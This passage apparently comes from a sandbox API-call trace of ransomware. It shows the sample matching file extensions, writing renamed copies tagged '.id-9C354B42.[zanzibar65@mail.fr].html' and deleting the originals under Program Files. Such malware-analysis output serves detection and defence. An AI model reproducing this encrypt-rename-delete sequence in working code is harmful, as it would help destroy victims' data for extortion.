(lpString1=".pdf", lpString2=".mui") returned 1 [0267.299] lstrlenW (lpString=".xls") returned 4 [0267.299] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.299] lstrlenW (lpString=".xlsx") returned 5 [0267.299] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.299] lstrlenW (lpString=".ppt") returned 4 [0267.299] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString=".zip") returned 4 [0267.299] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.299] lstrlenW (lpString=".rar") returned 4 [0267.299] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.299] lstrlenW (lpString=".bz2") returned 4 [0267.299] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.299] lstrlenW (lpString=".7z") returned 3 [0267.299] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString=".dbf") returned 4 [0267.299] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString=".1cd") returned 4 [0267.299] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString=".jpg") returned 4 [0267.299] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.300] lstrlenW (lpString=".doc") returned 4 [0267.300] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.300] lstrlenW (lpString=".docx") returned 5 [0267.300] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.300] lstrlenW (lpString=".pdf") returned 4 [0267.300] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.300] lstrlenW (lpString=".xls") returned 4 [0267.300] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.300] lstrlenW (lpString=".xlsx") returned 5 [0267.300] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.300] lstrlenW (lpString=".ppt") returned 4 [0267.300] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.300] lstrlenW (lpString=".zip") returned 4 [0267.300] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.300] lstrlenW (lpString=".rar") returned 4 [0267.300] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.300] lstrlenW (lpString=".bz2") returned 4 [0267.300] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.300] lstrlenW (lpString=".7z") returned 3 [0267.300] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.300] lstrlenW (lpString=".dbf") returned 4 [0267.300] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.300] lstrlenW (lpString=".1cd") returned 4 [0267.300] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.300] lstrlenW (lpString=".jpg") returned 4 [0267.300] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.301] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0267.301] lstrlenW (lpString="journal.dll") returned 11 [0267.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.301] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=1367552) returned 1 [0267.301] CloseHandle (hObject=0x2f0) returned 1 [0267.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0267.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0267.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0267.301] lstrlenW (lpString=".doc") returned 4 [0267.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.301] lstrlenW (lpString=".docx") returned 5 [0267.301] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0267.301] lstrlenW (lpString=".pdf") returned 4 [0267.301] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.301] lstrlenW (lpString=".xls") returned 4 [0267.301] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.301] lstrlenW (lpString=".xlsx") returned 5 [0267.301] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0267.301] lstrlenW (lpString=".ppt") returned 4 [0267.301] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0267.301] lstrlenW (lpString=".zip") returned 4 [0267.301] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.301] lstrlenW (lpString=".rar") returned 4 [0267.301] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.301] lstrlenW (lpString=".bz2") returned 4 [0267.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.302] lstrlenW (lpString=".7z") returned 3 [0267.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0270.650] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.651] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.707] GetLastError () returned 0x0 [0270.707] ReadFile (in: hFile=0x354, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x246a, lpOverlapped=0x0) returned 1 [0270.766] WriteFile (in: hFile=0x370, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0270.767] ReadFile (in: hFile=0x354, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.767] WriteFile (in: hFile=0x370, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.767] SetEndOfFile (hFile=0x370) returned 1 [0270.767] CloseHandle (hObject=0x370) returned 1 [0270.767] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.767] SetEndOfFile (hFile=0x354) returned 1 [0270.770] CloseHandle (hObject=0x354) returned 1 [0270.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.934] lstrlenW (lpString=".doc") returned 4 [0270.934] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.934] lstrlenW (lpString=".docx") returned 5 [0270.934] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.934] lstrlenW (lpString=".pdf") returned 4 [0270.934] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.934] lstrlenW (lpString=".xls") returned 4 [0270.934] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.934] lstrlenW (lpString=".xlsx") returned 5 [0270.934] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.934] lstrlenW (lpString=".ppt") returned 4 [0270.934] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.934] lstrlenW (lpString=".zip") returned 4 [0270.934] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.934] lstrlenW (lpString=".rar") returned 4 [0270.934] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.934] lstrlenW (lpString=".bz2") returned 4 [0270.934] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.934] lstrlenW (lpString=".7z") returned 3 [0270.934] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.934] lstrlenW (lpString=".dbf") returned 4 [0270.934] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.934] lstrlenW (lpString=".1cd") returned 4 [0270.934] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.934] lstrlenW (lpString=".jpg") returned 4 [0270.935] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.935] lstrlenW (lpString=".doc") returned 4 [0270.935] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.935] lstrlenW (lpString=".docx") returned 5 [0270.935] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.935] lstrlenW (lpString=".pdf") returned 4 [0270.935] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.935] lstrlenW (lpString=".xls") returned 4 [0270.935] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.935] lstrlenW (lpString=".xlsx") returned 5 [0270.935] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.935] lstrlenW (lpString=".ppt") returned 4 [0270.935] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.935] lstrlenW (lpString=".zip") returned 4 [0270.935] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.935] lstrlenW (lpString=".rar") returned 4 [0270.935] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.935] lstrlenW (lpString=".bz2") returned 4 [0270.935] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.935] lstrlenW (lpString=".7z") returned 3 [0270.935] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.935] lstrlenW (lpString=".dbf") returned 4 [0270.935] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.935] lstrlenW (lpString=".1cd") returned 4 [0270.935] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0270.936] lstrlenW (lpString=".jpg") returned 4 [0270.936] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.936] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.936] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0270.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.937] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=7567) returned 1 [0270.937] CloseHandle (hObject=0x380) returned 1 [0270.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0270.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.937] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.937] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.937] GetLastError () returned 0x0 [0270.938] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0270.939] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0270.940] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.940] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.940] SetEndOfFile (hFile=0x37c) returned 1 [0270.941] CloseHandle (hObject=0x37c) returned 1 [0270.941] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.941] SetEndOfFile (hFile=0x380) returned 1 [0270.944] CloseHandle (hObject=0x380) returned 1 [0270.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0270.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.945] lstrlenW (lpString=".doc") returned 4 [0270.945] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.945] lstrlenW (lpString=".docx") returned 5 [0270.945] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.945] lstrlenW (lpString=".pdf") returned 4 [0270.945] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.945] lstrlenW (lpString=".xls") returned 4 [0270.945] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.945] lstrlenW (lpString=".xlsx") returned 5 [0270.945] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.945] lstrlenW (lpString=".ppt") returned 4 [0270.945] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.945] lstrlenW (lpString=".zip") returned 4 [0270.945] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.945] lstrlenW (lpString=".rar") returned 4 [0270.945] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.945] lstrlenW (lpString=".bz2") returned 4 [0270.945] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.945] lstrlenW (lpString=".7z") returned 3 [0270.945] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.945] lstrlenW (lpString=".dbf") returned 4 [0270.946] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.946] lstrlenW (lpString=".1cd") returned 4 [0270.946] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.946] lstrlenW (lpString=".jpg") returned 4 [0270.946] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.946] lstrlenW (lpString=".doc") returned 4 [0270.946] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.946] lstrlenW (lpString=".docx") returned 5 [0270.946] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.946] lstrlenW (lpString=".pdf") returned 4 [0270.946] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.946] lstrlenW (lpString=".xls") returned 4 [0270.946] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.946] lstrlenW (lpString=".xlsx") returned 5 [0270.946] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.946] lstrlenW (lpString=".ppt") returned 4 [0270.946] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.946] lstrlenW (lpString=".zip") returned 4 [0270.946] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.946] lstrlenW (lpString=".rar") returned 4 [0270.946] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.946] lstrlenW (lpString=".bz2") returned 4 [0270.946] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.946] lstrlenW (lpString=".7z") returned 3 [0270.946] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.946] lstrlenW (lpString=".dbf") returned 4 [0270.946] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.947] lstrlenW (lpString=".1cd") returned 4 [0270.947] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0270.947] lstrlenW (lpString=".jpg") returned 4 [0270.947] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.947] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.947] lstrlenW (lpString="GRID_01.MID") returned 11 [0270.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.947] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=6331) returned 1 [0270.947] CloseHandle (hObject=0x380) returned 1 [0270.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0270.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.948] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, 